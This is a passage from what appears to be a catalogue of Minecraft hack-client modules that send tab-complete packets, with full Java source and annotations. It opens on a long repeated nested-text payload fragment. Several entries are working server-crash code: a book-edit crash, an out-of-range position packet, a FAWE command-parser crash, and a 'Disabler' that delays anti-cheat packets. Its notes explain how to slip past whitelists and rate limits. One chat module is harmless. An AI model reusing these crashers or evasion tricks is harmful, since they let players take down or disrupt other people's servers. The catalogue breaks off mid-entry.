,text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}\"));\n                }\n\n                tag.setString(\"author\", RandomStringUtils.random(16, \"0123456789\"));\n                tag.setString(\"title\", RandomStringUtils.random(16, \"0123456789\"));\n                tag.setByte(\"resolved\", (byte) 1);\n                tag.setTag(\"pages\", list);\n                final ItemStack book = new ItemStack(Items.writable_book);\n                book.setTagCompound(tag);\n                final PacketBuffer buffer = new PacketBuffer(Unpooled.buffer());\n                buffer.writeItemStackToBuffer(book);\n                PacketUtil.sendPacket(new C17PacketCustomPayload(\"MC|BEdit\", buffer));\n                break;\n            }\n\n            case \"AAC5\": {\n                PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(1.7E301, -999, 0, true));\n                break;\n            }\n        }\n    }\n}\n// NOTE (AI): FAWE mode sends a C14 whose message is a deeply nested '/to for(i=0;i<256;i++){...}' command string aimed at the FastAsyncWorldEdit command parser. The packet is sent with sendPacketWithoutEvent every tick. The tab-complete handler itself is cheap; the kill is the server-side completion of a pathological command string.",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/Crasher.java",
      "vanilla_hook": "onPreMotion (PreMotionEvent).",
      "anti_cheat_notes": "Targets a plugin parser, not the anti-cheat; a patched FAWE just returns an error message. The one-packet-per-tick rate is unremarkable.",
      "variations": "No equivalent tab-complete crash in the other 7 clients."
     },
     {
      "name": "Chat (custom tab complete)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Drive the custom chat GUI's tab completion through C14 with a block position.",
      "how_it_works": "The Chat module intercepts the tab key and sends C14PacketTabComplete(text, blockpos) via the vanilla send queue, then renders the S3A response in its own completion UI.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/render/chat/Chat.java =====\npackage com.alan.clients.module.impl.render.chat;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.input.GuiKeyBoardEvent;\nimport com.alan.clients.event.impl.input.KeyboardInputEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.render.Render2DEvent;\nimport com.alan.clients.font.Fonts;\nimport com.alan.clients.font.Weight;\nimport com.alan.clients.module.Module;\nimport com.alan.clients.module.api.Category;\nimport com.alan.clients.module.api.ModuleInfo;\nimport com.alan.clients.module.impl.render.Interface;\nimport com.alan.clients.ui.theme.Themes;\nimport com.alan.clients.util.EvictingList;\nimport com.alan.clients.util.MouseUtil;\nimport com.alan.clients.util.animation.Animation;\nimport com.alan.clients.util.animation.Easing;\nimport com.alan.clients.util.chat.ChatUtil;\nimport com.alan.clients.util.font.Font;\nimport com.alan.clients.util.gui.ScrollUtil;\nimport com.alan.clients.util.gui.textbox.TextAlign;\nimport com.alan.clients.util.gui.textbox.TextBox;\nimport com.alan.clients.util.render.ColorUtil;\nimport com.alan.clients.util.render.RenderUtil;\nimport com.alan.clients.util.vector.Vector2d;\nimport com.alan.clients.value.impl.BooleanValue;\nimport com.alan.clients.value.impl.DragValue;\nimport com.alan.clients.value.impl.NumberValue;\nimport lombok.Getter;\nimport net.minecraft.client.gui.ChatLine;\nimport net.minecraft.client.renderer.GlStateManager;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C14PacketTabComplete;\nimport net.minecraft.network.play.server.S3APacketTabComplete;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumChatFormatting;\nimport net.minecraft.util.IChatComponent;\nimport net.minecraft.util.MovingObjectPosition;\nimport net.optifine.gui.GuiChatOF;\nimport org.lwjgl.input.Mouse;\nimport org.lwjgl.opengl.GL11;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.awt.*;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.List;\n\nimport static com.alan.clients.layer.Layers.*;\nimport static com.alan.clients.util.animation.Easing.*;\n\n@Getter\n@ModuleInfo(aliases = {\"module.render.chat.name\"}, description = \"module.render.chat.description\", category = Category.RENDER, autoEnabled = true, allowDisable = false)\npublic final class Chat extends Module {\n    private final NumberValue openHeight = new NumberValue(\"Open Height\", this, 130, 0, 200, 1);\n    private final NumberValue widthChat = new NumberValue(\"Width\", this, 320, 40, 320, 1);\n\n    private final NumberValue closedHeight = new NumberValue(\"Max Closed Height\", this, 130, 0, 500, 1);\n    private final NumberValue disappear = new NumberValue(\"Message disappearance speed\", this, 5000, 0, 5000, 1);\n    private final BooleanValue background = new BooleanValue(\"Background\", this, true);\n    private final BooleanValue hidePlayers = new BooleanValue(\"Hide Player Source Messages\", this, false);\n\n    private final DragValue structure = new DragValue(\"\", this, new Vector2d(200, 200), false, true);\n    private final Animation animation = new Animation(Easing.EASE_OUT_EXPO, 500);\n    private final Animation inputAnimation = new Animation(Easing.EASE_OUT_ELASTIC, 400);\n    private final Animation inputOpacity = new Animation(LINEAR, 400);\n    private final Animation scaleAnimation = new Animation(EASE_OUT_EXPO, 500);\n    private final ScrollUtil scroll = new ScrollUtil();\n\n    private final Font chatFont = mc.fontRendererObj;\n    private final Font inputFont = mc.fontRendererObj;\n\n    private TextBox textField = new TextBox(new Vector2d(0, 0), inputFont, Color.WHITE, TextAlign.LEFT, \"\", 1000f, \"abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()-_+=[{]};:.>,</?|  ' \\\" ` ~\");\n    private int lineCount, recentLineCount;\n    private float lineHeight;\n    public boolean clicked, open;\n    private StopWatch stopWatch = new StopWatch();\n    private EvictingList<String> recentMessages = new EvictingList<>(20);\n    private ArrayList<String> matches;\n    private Interface interfaceModule;\n\n    public Chat() {\n        mc.ingameGUI.persistantChatGUI = new RiseGuiNewChat(mc);\n    }\n\n    @EventLink\n    public final Listener<KeyboardInputEvent> onKey = event -> {\n        if (event.getCharacter() == '/' || event.getCharacter() == '.') {\n            textField.setSelected(true);\n            textField.key(event.getCharacter(), event.getKeyCode());\n        }\n    };\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceive = event -> {\n        Packet<?> packet = event.getPacket();\n\n        if (packet instanceof S3APacketTabComplete) {\n            matches = new ArrayList<>(Arrays.asList(((S3APacketTabComplete) packet).getMatches()));\n\n            for (String match : matches) ChatUtil.display(match);\n        }\n    };\n\n    @EventLink\n    public final Listener<GuiKeyBoardEvent> onGuiKey = event -> {\n        switch (event.getKeyCode()) {\n            // Enter\n            case 28:\n                if (textField.getText().isEmpty()) return;\n                mc.thePlayer.sendChatMessage(textField.getText());\n                recentMessages.remove(textField.getText());\n                recentMessages.add(textField.getText());\n                textField.text = \"\";\n                mc.displayGuiScreen(null);\n                break;\n\n            // Down arrow\n            case 200:\n                List<String> recentMessages = new ArrayList<>(this.recentMessages);\n                Collections.reverse(recentMessages);\n                int index = recentMessages.indexOf(textField.text);\n                if (recentMessages.size() > index + 1) {\n                    textField.text = recentMessages.get(index + 1);\n                    textField.cursor = textField.text.length();\n                }\n                break;\n\n            // Up Arrow\n            case 208:\n                List<String> recentMessages2 = new ArrayList<>(this.recentMessages);\n                Collections.reverse(recentMessages2);\n                int indexDown = recentMessages2.indexOf(textField.text);\n                if (indexDown > 0) {\n                    textField.text = recentMessages2.get(indexDown - 1);\n                    textField.cursor = textField.text.length();\n                }\n                break;\n\n            // Tab\n            case 15:\n                if (matches == null) {\n                    String text = getTextField().getText();\n                    if (!text.startsWith(\".\") && !text.isEmpty()) { // !p_146405_1_.startsWith(\".\") added to prevent autocomplete of commands\n                        BlockPos blockpos = null;\n\n                        if (this.mc.objectMouseOver != null && this.mc.objectMouseOver.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK) {\n                            blockpos = this.mc.objectMouseOver.getBlockPos();\n                        }\n\n                        this.mc.thePlayer.sendQueue.addToSendQueue(new C14PacketTabComplete(text, blockpos));\n                    }\n\n                    matches = new ArrayList<>();\n                } else if (!matches.isEmpty()) {\n                    String[] parts = textField.getText().split(\" \");\n                    int indexof = matches.indexOf(parts[parts.length - 1]);\n\n                    parts[parts.length - 1] = matches.get((matches.size() > indexof + 1) ? indexof + 1 : 0);\n                    textField.text = String.join(\" \", parts);\n\n                    textField.cursor = textField.getText().length();\n                }\n                break;\n        }\n\n        textField.selected = open;\n        textField.key(event.getCharacter(), event.getKeyCode());\n    };\n\n    @EventLink\n    public final Listener<Render2DEvent> onRender2D = event -> {\n        this.renderChat();\n\n        this.renderInput();\n    };\n\n    public void renderChat() {\n        getTheme();\n        if (interfaceModule == null) interfaceModule = getModule(Interface.class);\n        boolean rise = interfaceModule.getInformationType().getValue().getName().equals(\"Rise\");\n\n        open = mc.currentScreen instanceof GuiChatOF;\n        lineHeight = chatFont.height();\n\n        float expandedHeight = Math.min((open ? openHeight : closedHeight).getValue().intValue(), lineHeight * lineCount + (lineCount == 0 ? 0 : 7));\n\n        scaleAnimation.run(Math.min(expandedHeight, (lineHeight * (open ? expandedHeight : recentLineCount)) + (lineHeight * (open ? expandedHeight : recentLineCount) == 0 ? 0 : 7)));\n        structure.scale = new Vector2d(widthChat.getValue().doubleValue(), scaleAnimation.getValue());\n\n        structure.position = new Vector2d(getTheme().getPadding(), mc.scaledResolution.getScaledHeight() - 10 - 20 - structure.scale.y);\n        Vector2d position = new Vector2d(structure.position.x + 5, structure.position.y + structure.scale.y - 1.5);\n        Vector2d startPosition = new Vector2d(position.getX(), position.getY());\n        List<ChatLine> lines = new ArrayList<>(mc.ingameGUI.getChatGUI().drawnChatLines);\n\n        double round = Math.min(structure.scale.y / 5f, 6);\n\n        if (background.getValue()) {\n            if (rise) {\n                getLayer(REGULAR, 1).add(() -> RenderUtil.roundedRectangle(structure.position.x, structure.position.y, structure.scale.x, structure.scale.y, round, Themes.getBackgroundShade()));\n                getLayer(BLOOM).add(() -> RenderUtil.roundedRectangle(structure.position.x + 1, structure.position.y + 1, structure.scale.x - 2, structure.scale.y - 2, round, getTheme().getDropShadow()));\n                getLayer(BLUR).add(() -> RenderUtil.roundedRectangle(structure.position.x, structure.position.y, structure.scale.x, structure.scale.y, round, Color.BLACK));\n            } else {\n                getLayer(REGULAR, 1).add(() -> RenderUtil.rectangle(structure.position.x, structure.position.y, structure.scale.x, structure.scale.y, new Color(0, 0, 0, 130)));\n            }\n        }\n\n        // Chat\n        getLayer(REGULAR, 1).add(() -> {\n            GL11.glEnable(GL11.GL_SCISSOR_TEST);\n            RenderUtil.scissor(structure.position.x, structure.position.y, structure.scale.x, structure.scale.y);\n\n            animation.run(0);\n            position.setY(position.getY() + animation.getValue() - scroll.getScroll());\n            scroll.onRender(open);\n            scroll.setReverse(true);\n            scroll.setMax((-lineHeight * lines.size()) + structure.scale.y - 6);\n\n            if (!open) scroll.setTarget(0);\n\n            if (lines.size() > 150) {\n                List<ChatLine> linesPointer = mc.ingameGUI.getChatGUI().drawnChatLines;\n\n                while (linesPointer.size() > 100) {\n                    linesPointer.remove(linesPointer.getLast());\n                }\n            }\n\n            update:\n            {\n                if (lineCount < lines.size()) {\n                    if (hidePlayers.getValue()) {\n                        mc.ingameGUI.getChatGUI().drawnChatLines.removeIf(line -> line.getChatComponent().getFormattedText().contains(\":\"));\n\n                        if (lineCount >= mc.ingameGUI.getChatGUI().drawnChatLines.size()) {\n                            break update;\n                        }\n                    }\n                    animation.setValue(animation.getValue() + ((lines.size() - lineCount) * lineHeight));\n                    animation.run(animation.getValue());\n                    recentLineCount += lines.size() - lineCount;\n                    recentLineCount = (int) Math.max(Math.min((closedHeight.getValue().intValue() / lineHeight), recentLineCount), 0);\n                }\n            }\n\n            lineCount = lines.size();\n\n            if (stopWatch.finished(disappear.getValue().intValue()) || recentLineCount == 0) {\n                stopWatch.reset();\n                recentLineCount = Math.max(0, recentLineCount - 1);\n            }\n\n            IChatComponent chatComponent2 = null;\n\n            // Rendering chat\n            for (ChatLine chatLine : lines) {\n                position.setX(startPosition.getX());\n                position.setY(position.getY() - lineHeight);\n\n                if (position.y < structure.position.y - lineHeight + (open ? 0 : 6) || position.y > structure.position.y + structure.scale.y) {\n                    continue;\n                }\n\n                for (IChatComponent chatComponent : chatLine.getChatComponent()) {\n                    String text = chatComponent.getUnformattedTextForChat();\n                    EnumChatFormatting color = chatComponent.getChatStyle().getColor() == null ? EnumChatFormatting.RESET : chatComponent.getChatStyle().getColor();\n                    double componentWidth = chatFont.drawWithShadow(color + text, position.getX(), position.getY(), 16777215) - position.x;\n\n                    // Hover & Click\n                    if (open && MouseUtil.isHovered(position.x, position.y, componentWidth, lineHeight)) {\n                        chatComponent2 = chatComponent;\n                    }\n\n                    position.x += componentWidth;\n                }\n            }\n\n            if (chatComponent2 != null) {\n                Vector2d mouse = MouseUtil.mouse();\n                mc.currentScreen.handleComponentHover(chatComponent2, (int) mouse.getX(), (int) mouse.getY());\n                if (!clicked && Mouse.isButtonDown(0)) mc.currentScreen.handleComponentClick(chatComponent2);\n                clicked = Mouse.isButtonDown(0);\n            }\n            // Scrollbar\n            if (background.getValue()) {\n                scroll.renderScrollBar(new Vector2d(structure.position.x + structure.scale.x - 5, structure.position.y + 5), structure.scale.y - 10);\n            }\n\n            // Scissoring\n            GL11.glDisable(GL11.GL_SCISSOR_TEST);\n        });\n    }\n\n    public void renderInput() {\n        getTheme();\n        boolean rise = interfaceModule.getInformationType().getValue().getName().equals(\"Rise\");\n\n        // ChatBox\n        if (rise) {\n            inputAnimation.setDuration(!open ? 300 : 850);\n            inputAnimation.setEasing(!open ? EASE_IN_EXPO : EASE_OUT_ELASTIC);\n        } else {\n            inputAnimation.setDuration(0);\n            inputAnimation.setEasing(!open ? EASE_IN_EXPO : EASE_OUT_ELASTIC);\n        }\n        inputAnimation.run(!open ? 0 : 1);\n        inputOpacity.run(open ? 255 : 0);\n\n        double scale = (inputAnimation.getValue() > 1) ? (1 + (inputAnimation.getValue() - 1) * 0.4) : inputAnimation.getValue();\n\n        textField.setEmptyText(\"\");\n\n        if (inputAnimation.getValue() <= 0) return;\n\n        Vector2d inputPosition = new Vector2d(getTheme().getPadding(), mc.scaledResolution.getScaledHeight() - getTheme().getPadding() - Fonts.MAIN.get(20, Weight.REGULAR).height() - 3);\n        Vector2d inputScale = new Vector2d(structure.scale.x, inputFont.height() + 7.5);\n\n        Runnable glOpen = () -> {\n            GlStateManager.pushMatrix();\n            GlStateManager.translate((inputPosition.x + inputScale.x / 2) * (1 - scale), (inputPosition.y + inputScale.y / 2) * (1 - scale), 0);\n            GlStateManager.scale(scale, scale, 0);\n        };\n\n        if (rise) {\n            getLayer(REGULAR, 1).add(() -> {\n                glOpen.run();\n                RenderUtil.roundedRectangle(inputPosition.x, inputPosition.y, inputScale.x, inputScale.y, 6, ColorUtil.withAlpha(Themes.getBackgroundShade(), Math.min((int) inputOpacity.getValue(), getTheme().getBackgroundShade().getAlpha())));\n\n                GlStateManager.popMatrix();\n            });\n\n            getLayer(BLOOM).add(() -> {\n                glOpen.run();\n                RenderUtil.roundedRectangle(inputPosition.x, inputPosition.y, inputScale.x, inputScale.y, 6.5, getTheme().getDropShadow());\n                GlStateManager.popMatrix();\n            });\n\n            getLayer(BLUR).add(() -> {\n                glOpen.run();\n                RenderUtil.roundedRectangle(inputPosition.x, inputPosition.y, inputScale.x, inputScale.y, 6, Color.BLACK);\n                GlStateManager.popMatrix();\n            });\n        } else {\n            getLayer(REGULAR, 1).add(() -> {\n                glOpen.run();\n                RenderUtil.rectangle(inputPosition.x, inputPosition.y, inputScale.x, inputScale.y, new Color(0, 0, 0, Math.min((int) inputOpacity.getValue(), 130)));\n\n                GlStateManager.popMatrix();\n            });\n        }\n\n        textField.setColor(ColorUtil.withAlpha(Color.WHITE, (int) inputOpacity.getValue()));\n        textField.setFontRenderer(inputFont);\n        textField.setPosition(new Vector2d(getTheme().getPadding() + 5, mc.scaledResolution.getScaledHeight() - inputFont.height() - getTheme().getPadding()));\n\n        getLayer(REGULAR, 1).add(() -> {\n            glOpen.run();\n            textField.draw();\n            GlStateManager.popMatrix();\n\n            if (!open) textField.text = \"\";\n        });\n\n        if (!open) {\n            textField.text = \"\";\n            matches = null;\n        }\n    }\n}\n// NOTE (AI): The Rise 6.x Chat module implements its own tab-complete UX: on the tab key it sends C14PacketTabComplete with the current text and the looked-at block position, then renders the S3A reply in its custom chat GUI instead of the vanilla completion dropdown. The corpus hit is at the addToSendQueue call; the module also rewrites the vanilla chat input handling.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/render/chat/Chat.java",
      "vanilla_hook": "Custom chat GUI key handler; no packet event hook on the send side.",
      "anti_cheat_notes": "None; it mirrors vanilla completion behavior.",
      "variations": "Same module file exists in Rise 6.1.30 with the identical send call."
     },
     {
      "name": "Disabler (C14 crasher)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Spam a tab-complete request with a random huge number command every 155 ticks while the watchdog disabler is active, loading the server's command parser.",
      "how_it_works": "Inside the watchdog-active branch (abc true), every 155 ticks the module sends new C14PacketTabComplete('/' + random double in 10e19..10e20) directly on the NetworkManager, alongside the C0F/C00 queue management that makes up the rest of the disabler.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, me/AquaVit/liquidSense/modules/misc/Disabler.java =====\npackage me.AquaVit.liquidSense.modules.misc;\n\nimport me.AquaVit.liquidSense.API.MathUtils;\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.*;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification;\nimport net.ccbluex.liquidbounce.utils.timer.MSTimer;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.minecraft.network.INetHandler;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C14PacketTabComplete;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.util.ChatComponentText;\nimport net.minecraft.util.MathHelper;\n\nimport java.util.*;\n\n@ModuleInfo(name = \"Disabler\", description = \"test\", category = ModuleCategory.MISC)\npublic class Disabler extends Module {\n    private final IntegerValue c0fBaseDelay = new IntegerValue(\"C0F-Base\", 1500, 100, 2500);\n    private final IntegerValue c0fRandomDelay = new IntegerValue(\"C0F-Random\", 50, 0, 1000);\n    private final IntegerValue c00BaseDelay = new IntegerValue(\"C00-Base\", 750, 100, 2500);\n    private final IntegerValue c00RandomDelay = new IntegerValue(\"C00-Random\", 20, 0, 1000);\n\n    private final Queue<C0FPacketConfirmTransaction> c0fList = new LinkedList<>();\n    private final Queue<C00PacketKeepAlive> c00List = new LinkedList<>();\n    //budget but maybe its working\n\n    private final MSTimer timer = new MSTimer(), timer1 = new MSTimer();\n    public boolean abc, working;\n    private int keepAliveId, delay, all;\n\n    private final Random random = new Random();\n\n    @Override\n    public void onDisable() {\n        super.onDisable();\n        abc = working = false;\n        c0fList.clear();\n        c00List.clear();\n        while (!c0fList.isEmpty())\n            mc.thePlayer.sendQueue.addToSendQueue(c0fList.poll());\n\n        while (!c00List.isEmpty())\n            mc.thePlayer.sendQueue.addToSendQueue(c00List.poll());\n    }\n\n    @EventTarget\n    public void onUpdate(UpdateEvent e) {\n        if (mc.isSingleplayer())\n            working = true;\n\n        if (mc.thePlayer.ticksExisted <= 1) {\n            abc = working = false;\n            c0fList.clear();\n            c00List.clear();\n            all = 0;\n        }\n\n        if (abc && timer.hasTimePassed(delay)) {\n            int count = 0, total = (delay % 2 == 0 || delay % 3 == 0) && c0fList.size() > 100 ? c0fList.size() : MathHelper.getRandomIntegerInRange(random, 3, 9);\n            synchronized (c0fList) {\n                while (!c0fList.isEmpty() && count < total) {\n                    C0FPacketConfirmTransaction packet = c0fList.peek();\n                    if (packet == null)\n                        break;\n                    mc.getNetHandler().getNetworkManager().sendPacket(packet);\n                    c0fList.remove(packet);\n                    count++;\n                }\n            }\n\n            C00PacketKeepAlive packetKeepAlive = new C00PacketKeepAlive(keepAliveId++);\n            synchronized (c00List)  {\n                c00List.add(packetKeepAlive);\n                mc.getNetHandler().getNetworkManager().sendPacket(packetKeepAlive);\n                c00List.remove(packetKeepAlive);\n            }\n\n            all += count;\n            if (!working) {\n                working = true;\n                mc.thePlayer.addChatMessage(new ChatComponentText(\"§8[§9§l\" +LiquidBounce.CLIENT_NAME+ \"§8] §3\"+ \"Watchdoge left the game!\"));\n            }\n            delay = MathHelper.getRandomIntegerInRange(random, c0fBaseDelay.get(), c0fBaseDelay.get() + c0fRandomDelay.get());\n            timer.reset();\n        }\n\n        if (timer1.hasTimePassed(MathHelper.getRandomIntegerInRange(random, c00BaseDelay.get(), c00BaseDelay.get() + c00RandomDelay.get()))) {\n            synchronized (c00List) {\n                C00PacketKeepAlive packet = c00List.peek();\n                if (packet != null) {\n                    if (!abc)\n                        keepAliveId = packet.getKey();\n                    mc.getNetHandler().getNetworkManager().sendPacket(packet);\n                    c00List.remove(packet);\n                    timer1.reset();\n                }\n            }\n        }\n\n        if (abc && mc.thePlayer.ticksExisted % 155 == 0)\n            mc.getNetHandler().getNetworkManager().sendPacket(new C14PacketTabComplete(\"/\" + MathHelper.getRandomDoubleInRange(random, 10e19, 10e20)));\n    }\n\n    @EventTarget\n    public void onPacket(PacketEvent e) {\n        if (e.getPacket() instanceof C00PacketKeepAlive && !c00List.contains(e.getPacket())) {\n            c00List.add((C00PacketKeepAlive) e.getPacket());\n            e.cancelEvent();\n        }\n\n        if (e.getPacket() instanceof C0FPacketConfirmTransaction && !c0fList.contains(e.getPacket())) {\n            int count = (\"\" + Math.abs(((C0FPacketConfirmTransaction) e.getPacket()).getUid())).length();\n            if (!abc && count == 3) {\n                abc = true;\n                c0fList.clear();\n                timer.reset();\n                c0fList.add((C0FPacketConfirmTransaction) e.getPacket());\n                e.cancelEvent();\n            } else if (abc) {\n                if (all < 10 && count > 3) {\n                    while (!c0fList.isEmpty())\n                        mc.getNetHandler().getNetworkManager().sendPacket(c0fList.poll());\n                    timer.reset();\n                    return;\n                }\n                c0fList.add((C0FPacketConfirmTransaction) e.getPacket());\n                e.cancelEvent();\n            }\n        }\n    }\n}\n// NOTE (AI): The C14 send is line 109, gated on abc and the 155-tick modulus; the rest of the file is the C0F/C00 watchdog queue.",
      "code_source": "LiquidSense Dev, me/AquaVit/liquidSense/modules/misc/Disabler.java",
      "vanilla_hook": "UpdateEvent tick; send via mc.getNetHandler().getNetworkManager().sendPacket.",
      "anti_cheat_notes": "Random 10e19..10e20 doubles defeat naive command whitelists; the 155-tick cadence keeps the load under per-second rate limits while still hammering the parser over minutes.",
      "variations": "Rise 5.99's Crasher FAWE mode is the structural cousin but uses a nested-command string; LiquidSense's is random-number spam."
     },
     {
      "name": "LuaEventPacket",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Expose C14 to November's Lua scripting API as id 0x14 with direction, for scripted tab-complete automation.",
      "how_it_works": "packetIds maps C14PacketTabComplete.class to 0x14; the wrapper stores the numeric id and 'out' direction from the EventPacket so scripts can match without class references.",
